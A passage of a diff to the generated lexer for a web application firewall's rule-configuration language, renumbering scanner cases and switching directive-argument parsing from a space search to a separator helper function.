BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 828 "seclang-scanner.ll" +{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_MSG(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 208: YY_RULE_SETUP -#line 803 "seclang-scanner.ll" -{ return p::make_CONFIG_UPDLOAD_KEEP_FILES(yytext, *driver.loc.back()); } +#line 829 "seclang-scanner.ll" +{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 209: YY_RULE_SETUP -#line 804 "seclang-scanner.ll" -{ return p::make_CONFIG_UPDLOAD_SAVE_TMP_FILES(yytext, *driver.loc.back()); } +#line 830 "seclang-scanner.ll" +{ state_variable_from = 1; BEGIN(TRANSACTION_TO_VARIABLE); return p::make_CONFIG_SEC_RULE_UPDATE_TARGET_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 210: YY_RULE_SETUP -#line 805 "seclang-scanner.ll" -{ return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 831 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 211: YY_RULE_SETUP -#line 806 "seclang-scanner.ll" -{ return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 832 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_FROM_OPERATOR_TO_ACTIONS); return p::make_CONFIG_SEC_RULE_UPDATE_ACTION_BY_ID(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 212: YY_RULE_SETUP -#line 807 "seclang-scanner.ll" -{ return p::make_CONFIG_UPLOAD_FILE_LIMIT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 833 "seclang-scanner.ll" +{ return p::make_CONFIG_UPDLOAD_KEEP_FILES(yytext, *driver.loc.back()); } YY_BREAK case 213: YY_RULE_SETUP -#line 808 "seclang-scanner.ll" -{ return p::make_CONFIG_UPLOAD_FILE_MODE(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 834 "seclang-scanner.ll" +{ return p::make_CONFIG_UPDLOAD_SAVE_TMP_FILES(yytext, *driver.loc.back()); } YY_BREAK case 214: YY_RULE_SETUP -#line 809 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_ABORT(yytext, *driver.loc.back()); } +#line 835 "seclang-scanner.ll" +{ return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 215: YY_RULE_SETUP -#line 810 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_DETC(yytext, *driver.loc.back()); } +#line 836 "seclang-scanner.ll" +{ return p::make_CONFIG_UPLOAD_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 216: YY_RULE_SETUP -#line 811 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_HTTPS(yytext, *driver.loc.back()); } +#line 837 "seclang-scanner.ll" +{ return p::make_CONFIG_UPLOAD_FILE_LIMIT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 217: YY_RULE_SETUP -#line 812 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_OFF(yytext, *driver.loc.back()); } +#line 838 "seclang-scanner.ll" +{ return p::make_CONFIG_UPLOAD_FILE_MODE(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 218: YY_RULE_SETUP -#line 813 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_ON(yytext, *driver.loc.back()); } +#line 839 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_ABORT(yytext, *driver.loc.back()); } YY_BREAK case 219: YY_RULE_SETUP -#line 814 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_PARALLEL(yytext, *driver.loc.back()); } +#line 840 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_DETC(yytext, *driver.loc.back()); } YY_BREAK case 220: YY_RULE_SETUP -#line 815 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_PROCESS_PARTIAL(yytext, *driver.loc.back()); } +#line 841 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_HTTPS(yytext, *driver.loc.back()); } YY_BREAK case 221: YY_RULE_SETUP -#line 816 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_REJECT(yytext, *driver.loc.back()); } +#line 842 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_ONLYARGS(yytext, *driver.loc.back()); } YY_BREAK case 222: YY_RULE_SETUP -#line 817 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_RELEVANT_ONLY(yytext, *driver.loc.back()); } +#line 843 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_OFF(yytext, *driver.loc.back()); } YY_BREAK case 223: YY_RULE_SETUP -#line 818 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_SERIAL(yytext, *driver.loc.back()); } +#line 844 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_ON(yytext, *driver.loc.back()); } YY_BREAK case 224: YY_RULE_SETUP -#line 819 "seclang-scanner.ll" -{ return p::make_CONFIG_VALUE_WARN(yytext, *driver.loc.back()); } +#line 845 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_PARALLEL(yytext, *driver.loc.back()); } YY_BREAK case 225: YY_RULE_SETUP -#line 820 "seclang-scanner.ll" -{ return p::make_CONFIG_XML_EXTERNAL_ENTITY(yytext, *driver.loc.back()); } +#line 846 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_PROCESS_PARTIAL(yytext, *driver.loc.back()); } YY_BREAK case 226: YY_RULE_SETUP -#line 821 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_RESPONSE_BODY_MP(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 847 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_REJECT(yytext, *driver.loc.back()); } YY_BREAK case 227: YY_RULE_SETUP -#line 822 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_RESPONSE_BODY_MP_CLEAR(*driver.loc.back()); } +#line 848 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_RELEVANT_ONLY(yytext, *driver.loc.back()); } YY_BREAK case 228: YY_RULE_SETUP -#line 823 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_ARG_SEP(yytext, *driver.loc.back()); } +#line 849 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_SERIAL(yytext, *driver.loc.back()); } YY_BREAK case 229: YY_RULE_SETUP -#line 824 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_COOKIE_FORMAT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 850 "seclang-scanner.ll" +{ return p::make_CONFIG_VALUE_WARN(yytext, *driver.loc.back()); } YY_BREAK case 230: YY_RULE_SETUP -#line 825 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 851 "seclang-scanner.ll" +{ return p::make_CONFIG_XML_EXTERNAL_ENTITY(yytext, *driver.loc.back()); } YY_BREAK case 231: YY_RULE_SETUP -#line 826 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 852 "seclang-scanner.ll" +{ return p::make_CONFIG_XML_PARSE_XML_INTO_ARGS(yytext, *driver.loc.back()); } YY_BREAK case 232: YY_RULE_SETUP -#line 827 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 853 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_RESPONSE_BODY_MP(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 233: YY_RULE_SETUP -#line 828 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 854 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_RESPONSE_BODY_MP_CLEAR(*driver.loc.back()); } YY_BREAK case 234: YY_RULE_SETUP -#line 829 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_STATUS_ENGINE(yytext, *driver.loc.back()); } +#line 855 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_ARG_SEP(yytext, *driver.loc.back()); } YY_BREAK case 235: YY_RULE_SETUP -#line 830 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 856 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_COOKIE_FORMAT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 236: YY_RULE_SETUP -#line 831 "seclang-scanner.ll" -{ return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 857 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 237: YY_RULE_SETUP -#line 832 "seclang-scanner.ll" -{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 858 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_COOKIEV0_SEPARATOR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 238: YY_RULE_SETUP -#line 833 "seclang-scanner.ll" -{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 859 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 239: YY_RULE_SETUP -#line 834 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_CACHE_TRANSFORMATIONS(yytext, *driver.loc.back()); } +#line 860 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_DATA_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 240: YY_RULE_SETUP -#line 835 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 861 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_STATUS_ENGINE(yytext, *driver.loc.back()); } YY_BREAK case 241: YY_RULE_SETUP -#line 836 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 862 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 242: YY_RULE_SETUP -#line 837 "seclang-scanner.ll" -{ return p::make_CONFIG_CONN_ENGINE(yytext, *driver.loc.back()); } +#line 863 "seclang-scanner.ll" +{ return p::make_CONGIG_DIR_SEC_TMP_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 243: YY_RULE_SETUP -#line 838 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_HASH_ENGINE(yytext, *driver.loc.back()); } +#line 864 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 244: YY_RULE_SETUP -#line 839 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_HASH_KEY(yytext, *driver.loc.back()); } +#line 865 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_DIRECTIVE_SECRULESCRIPT(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 245: YY_RULE_SETUP -#line 840 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_HASH_PARAM(yytext, *driver.loc.back()); } +#line 866 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_CACHE_TRANSFORMATIONS(yytext, *driver.loc.back()); } YY_BREAK case 246: YY_RULE_SETUP -#line 841 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_HASH_METHOD_RX(yytext, *driver.loc.back()); } +#line 867 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 247: YY_RULE_SETUP -#line 842 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_HASH_METHOD_PM(yytext, *driver.loc.back()); } +#line 868 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_CHROOT_DIR(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 248: YY_RULE_SETUP -#line 843 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 869 "seclang-scanner.ll" +{ return p::make_CONFIG_CONN_ENGINE(yytext, *driver.loc.back()); } YY_BREAK case 249: YY_RULE_SETUP -#line 844 "seclang-scanner.ll" -{ return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(strchr(yytext, ' ') + 1), *driver.loc.back()); } +#line 870 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_HASH_ENGINE(yytext, *driver.loc.back()); } YY_BREAK case 250: YY_RULE_SETUP -#line 845 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_GUARDIAN_LOG(yytext, *driver.loc.back()); } +#line 871 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_HASH_KEY(yytext, *driver.loc.back()); } YY_BREAK case 251: YY_RULE_SETUP -#line 846 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_INTERCEPT_ON_ERROR(yytext, *driver.loc.back()); } +#line 872 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_HASH_PARAM(yytext, *driver.loc.back()); } YY_BREAK case 252: YY_RULE_SETUP -#line 847 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_CONN_R_STATE_LIMIT(yytext, *driver.loc.back()); } +#line 873 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_HASH_METHOD_RX(yytext, *driver.loc.back()); } YY_BREAK case 253: YY_RULE_SETUP -#line 848 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_CONN_W_STATE_LIMIT(yytext, *driver.loc.back()); } +#line 874 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_HASH_METHOD_PM(yytext, *driver.loc.back()); } YY_BREAK case 254: YY_RULE_SETUP -#line 849 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_SENSOR_ID(yytext, *driver.loc.back()); } +#line 875 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 255: YY_RULE_SETUP -#line 850 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_INHERITANCE(yytext, *driver.loc.back()); } +#line 876 "seclang-scanner.ll" +{ return p::make_CONFIG_DIR_GSB_DB(parserSanitizer(find_separator(yytext)), *driver.loc.back()); } YY_BREAK case 256: YY_RULE_SETUP -#line 851 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_RULE_PERF_TIME(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 877 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_GUARDIAN_LOG(yytext, *driver.loc.back()); } YY_BREAK case 257: YY_RULE_SETUP -#line 852 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_STREAM_IN_BODY_INSPECTION(yytext, *driver.loc.back()); } +#line 878 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_INTERCEPT_ON_ERROR(yytext, *driver.loc.back()); } YY_BREAK case 258: YY_RULE_SETUP -#line 853 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION(yytext, *driver.loc.back()); } +#line 879 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_CONN_R_STATE_LIMIT(yytext, *driver.loc.back()); } YY_BREAK case 259: YY_RULE_SETUP -#line 854 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_DISABLE_BACKEND_COMPRESS(yytext, *driver.loc.back()); } +#line 880 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_CONN_W_STATE_LIMIT(yytext, *driver.loc.back()); } YY_BREAK case 260: YY_RULE_SETUP -#line 856 "seclang-scanner.ll" -{ BEGIN(TRANSACTION_TO_VARIABLE); return p::make_DIRECTIVE(yytext, *driver.loc.back()); } +#line 881 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_SENSOR_ID(yytext, *driver.loc.back()); } YY_BREAK case 261: YY_RULE_SETUP -#line 857 "seclang-scanner.ll" -{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_CONFIG_DIR_SEC_DEFAULT_ACTION(yytext, *driver.loc.back()); } +#line 882 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_INHERITANCE(yytext, *driver.loc.back()); } YY_BREAK case 262: YY_RULE_SETUP -#line 858 "seclang-scanner.ll" -{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_CONFIG_DIR_SEC_ACTION(yytext, *driver.loc.back()); } +#line 883 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_RULE_PERF_TIME(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 263: YY_RULE_SETUP -#line 860 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION(yytext, *driver.loc.back()); } +#line 884 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_STREAM_IN_BODY_INSPECTION(yytext, *driver.loc.back()); } YY_BREAK case 264: YY_RULE_SETUP -#line 861 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_COLLECTION_TIMEOUT(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 885 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_STREAM_OUT_BODY_INSPECTION(yytext, *driver.loc.back()); } YY_BREAK case 265: YY_RULE_SETUP -#line 862 "seclang-scanner.ll" -{ return p::make_CONFIG_SEC_HTTP_BLKEY(strchr(yytext, ' ') + 1, *driver.loc.back()); } +#line 886 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_DISABLE_BACKEND_COMPRESS(yytext, *driver.loc.back()); } YY_BREAK case 266: -/* rule 266 can match eol */ YY_RULE_SETUP -#line 863 "seclang-scanner.ll" -{ driver.loc.back()->lines(1); driver.loc.back()->step(); } +#line 888 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_TO_VARIABLE); return p::make_DIRECTIVE(yytext, *driver.loc.back()); } YY_BREAK case 267: -/* rule 267 can match eol */ YY_RULE_SETUP -#line 864 "seclang-scanner.ll" -{ driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(COMMENT); } +#line 889 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_CONFIG_DIR_SEC_DEFAULT_ACTION(yytext, *driver.loc.back()); } YY_BREAK case 268: -/* rule 268 can match eol */ YY_RULE_SETUP -#line 865 "seclang-scanner.ll" -{ driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(COMMENT); } +#line 890 "seclang-scanner.ll" +{ BEGIN(TRANSACTION_FROM_DIRECTIVE_TO_ACTIONS); return p::make_CONFIG_DIR_SEC_ACTION(yytext, *driver.loc.back()); } YY_BREAK case 269: YY_RULE_SETUP -#line 866 "seclang-scanner.ll" -{ driver.loc.back()->step(); /* comment, just ignore. */ } +#line 892 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_REMOTE_RULES_FAIL_ACTION(yytext, *driver.loc.back()); } YY_BREAK case 270: YY_RULE_SETUP -#line 867 "seclang-scanner.ll" -{ driver.loc.back()->step(); /* carriage return, just ignore. */} +#line 893 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_COLLECTION_TIMEOUT(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 271: YY_RULE_SETUP -#line 868 "seclang-scanner.ll" -{ return p::make_QUOTATION_MARK(yytext, *driver.loc.back()); } +#line 894 "seclang-scanner.ll" +{ return p::make_CONFIG_SEC_HTTP_BLKEY(find_separator(yytext), *driver.loc.back()); } YY_BREAK case 272: +/* rule 272 can match eol */ YY_RULE_SETUP -#line 869 "seclang-scanner.ll" +#line 895 "seclang-scanner.ll" +{ driver.loc.back()->lines(1); driver.loc.back()->step(); } + YY_BREAK +case 273: +/* rule 273 can match eol */ +YY_RULE_SETUP +#line 896 "seclang-scanner.ll" +{ driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(COMMENT); } + YY_BREAK +case 274: +/* rule 274 can match eol */ +YY_RULE_SETUP +#line 897 "seclang-scanner.ll" +{ driver.loc.back()->lines(1); driver.loc.back()->step(); BEGIN(COMMENT); } + YY_BREAK +case 275: +YY_RULE_SETUP +#line 898 "seclang-scanner.ll" +{ driver.loc.back()->step(); /* comment, just ignore. */ } + YY_BREAK +case 276: +YY_RULE_SETUP +#line 899 "seclang-scanner.ll" +{ driver.loc.back()->step(); /* carriage return, just ignore. */} + YY_BREAK +case 277: +YY_RULE_SETUP +#line 900 "seclang-scanner.ll" +{ return p::make_QUOTATION_MARK(yytext, *driver.loc.back()); } + YY_BREAK +case 278: +YY_RULE_SETUP +#line 901 "seclang-scanner.ll" { return p::make_COMMA(*driver.loc.back()); } YY_BREAK -case 273: +case 279: YY_RULE_SETUP -#line 872 "seclang-scanner.ll" +#line 904 "seclang-scanner.ll" { BEGIN(EXPECTING_VARIABLE); } YY_BREAK -case 274: +case 280: YY_RULE_SETUP -#line 876 "seclang-scanner.ll" +#line 908 "seclang-scanner.ll" { return p::make_PIPE(*driver.loc.back()); } YY_BREAK -case 275: +case 281: YY_RULE_SETUP -#line 877 "seclang-scanner.ll" +#line 909 "seclang-scanner.ll" { return p::make_PIPE(*driver.loc.back()); } YY_BREAK -case 276: +case 282: YY_RULE_SETUP -#line 878 "seclang-scanner.ll" +#line 910 "seclang-scanner.ll" { return p::make_QUOTATION_MARK(yytext, *driver.loc.back()); } YY_BREAK -case 277: +case 283: YY_RULE_SETUP -#line 879 "seclang-scanner.ll" +#line 911 "seclang-scanner.ll" { return p::make_VAR_EXCLUSION(*driver.loc.back()); } YY_BREAK -case 278: +case 284: YY_RULE_SETUP -#line 880 "seclang-scanner.ll" +#line 912 "seclang-scanner.ll" { return p::make_VAR_COUNT(*driver.loc.back()); } YY_BREAK -case 279: +case 285: YY_RULE_SETUP -#line 884 "seclang-scanner.ll" +#line 916 "seclang-scanner.ll" { if (state_variable_from == 0) { BEGIN(EXPECTING_OPERATOR_ENDS_WITH_SPACE); } else { state_variable_from = 0; BEGIN(INITIAL);} } YY_BREAK -case 280: +case 286: YY_RULE_SETUP -#line 885 "seclang-scanner.ll" +#line 917 "seclang-scanner.ll" { if (state_variable_from == 0) { BEGIN(EXPECTING_OPERATOR_ENDS_WITH_QUOTE); } else { state_variable_from = 0; BEGIN(INITIAL);} } YY_BREAK -case 281: -/* rule 281 can match eol */ +case 287: +/* rule 287 can match eol */ YY_RULE_SETUP -#line 886 "seclang-scanner.ll" +#line 918 "seclang-scanner.ll" { if (state_variable_from == 0) { BEGIN(EXPECTING_OPERATOR_ENDS_WITH_SPACE); } else { state_variable_from = 0; BEGIN(INITIAL);} } YY_BREAK -case 282: -/* rule 282 can match eol */ +case 288: +/* rule 288 can match eol */ YY_RULE_SETUP -#line 887 "seclang-scanner.ll" +#line 919 "seclang-scanner.ll" { if (state_variable_from == 0) { BEGIN(EXPECTING_OPERATOR_ENDS_WITH_QUOTE); } else { state_variable_from = 0; BEGIN(INITIAL);} } YY_BREAK -case 283: -/* rule 283 can match eol */ +case 289: +/* rule 289 can match eol */ YY_RULE_SETUP -#line 888 "seclang-scanner.ll" +#line 920 "seclang-scanner.ll" { if (state_variable_from == 0) { BEGIN(EXPECTING_OPERATOR_ENDS_WITH_SPACE); } else { state_variable_from = 0; BEGIN(INITIAL);} } YY_BREAK -case 284: -/* rule 284 can match eol */ +case 290: +/* rule 290 can match eol */ YY_RULE_SETUP -#line 889 "seclang-scanner.ll" +#line 921 "seclang-scanner.ll" { if (state_variable_from == 0) { BEGIN(EXPECTING_OPERATOR_ENDS_WITH_QUOTE); } else { state_variable_from = 0; BEGIN(INITIAL);} } YY_BREAK -case 285: +case 291: YY_RULE_SETUP -#line 893 "seclang-scanner.ll" +#line 925 "seclang-scanner.ll" { } YY_BREAK -case 286: +case 292: YY_RULE_SETUP -#line 894 "seclang-scanner.ll" +#line 926 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 287: -/* rule 287 can match eol */ +case 293: +/* rule 293 can match eol */ YY_RULE_SETUP -#line 895 "seclang-scanner.ll" +#line 927 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 288: -/* rule 288 can match eol */ +case 294: +/* rule 294 can match eol */ YY_RULE_SETUP -#line 896 "seclang-scanner.ll" +#line 928 "seclang-scanner.ll" { BEGIN(EXPECTING_ACTIONS_ENDS_WITH_DOUBLE_QUOTE); } YY_BREAK -case 289: +case 295: YY_RULE_SETUP -#line 901 "seclang-scanner.ll" +#line 933 "seclang-scanner.ll" { BEGIN(LEXING_ERROR_VARIABLE); yyless(0); } YY_BREAK -case 290: +case 296: YY_RULE_SETUP -#line 902 "seclang-scanner.ll" +#line 934 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS_COMBINED_SIZE(*driver.loc.back()); } YY_BREAK -case 291: +case 297: YY_RULE_SETUP -#line 903 "seclang-scanner.ll" +#line 935 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS_GET_NAMES(*driver.loc.back()); } YY_BREAK -case 292: +case 298: YY_RULE_SETUP -#line 904 "seclang-scanner.ll" +#line 936 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_ARGS_GET_NAMES(*driver.loc.back()); } YY_BREAK -case 293: +case 299: YY_RULE_SETUP -#line 905 "seclang-scanner.ll" +#line 937 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS_NAMES(*driver.loc.back()); } YY_BREAK -case 294: +case 300: YY_RULE_SETUP -#line 906 "seclang-scanner.ll" +#line 938 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_ARGS_NAMES(*driver.loc.back()); } YY_BREAK -case 295: +case 301: YY_RULE_SETUP -#line 907 "seclang-scanner.ll" +#line 939 "seclang-scanner.ll" { return p::make_VARIABLE_ARGS_POST_NAMES(*driver.loc.back()); } YY_BREAK -case 296: +case 302: YY_RULE_SETUP -#line 908 "seclang-scanner.ll" +#line 940 "seclang-scanner.ll" { BEGINX(EXPECTING_VAR_PARAMETER); return p::make_VARIABLE_ARGS_POST_NAMES(*driver.loc.back()); } YY_BREAK -case 297: +case 303: YY_RULE_SETUP -#line 909 "seclang-scanner.ll" +#line 941 "seclang-scanner.ll" { return p::make_VARIABLE_AUTH_TYPE(*driver.loc.back()); } YY_BREAK -case 298: +case 304: YY_RULE_SETUP -#line 910 "seclang-scanner.ll" +#line 942 "seclang-scanner.ll" { return p::make_VARIABLE_FILES_COMBINED_SIZE(*driver.loc.back()); } YY_BREAK -case 299: +case 305: YY_RULE_SETUP -#line 911 "seclang-scanner.ll" +#line 943 "seclang-scanner.ll" { return p::make_VARIABLE_FULL_REQUEST_LENGTH(*driver.loc.back()); } YY_BREAK -case 300: +case 306: YY_RULE_SETUP -#line 912 "seclang-scanner.ll" +#line 944 "seclang-scanner.ll" { return p::make_VARIABLE_FULL_REQUEST(*driver.loc.back()); } YY_BREAK -case 301: +case 307: YY_RULE_SETUP -#line 913 "seclang-scanner.ll" +#line 945 "seclang-scanner.ll" { return p::make_VARIABLE_INBOUND_DATA_ERROR(*driver.loc.back()); } YY_BREAK -case 302: +case 308: YY_RULE_SETUP -#line 914 "seclang-scanner.ll" +#line 946 "seclang-scanner.ll" { return p::make_VARIABLE_MATCHED_VAR_NAME(*driver.loc.back()); } YY_BREAK -case 303: +case 309: YY_RULE_SETUP -#line 915 "seclang-scanner.ll" +#line 947 "seclang-scanner.ll" { return p::make_VARIABLE_MATCHED_VAR(*driver.loc.back()); } YY_BREAK -case 304: +case 310: YY_RULE_SETUP -#line 916 "seclang-scanner.ll" +#line 948 "seclang-scanner.ll" { return p::make_VARIABLE_MSC_PCRE_ERROR(*driver.loc.back()); } YY_BREAK -case 305: +case 311: 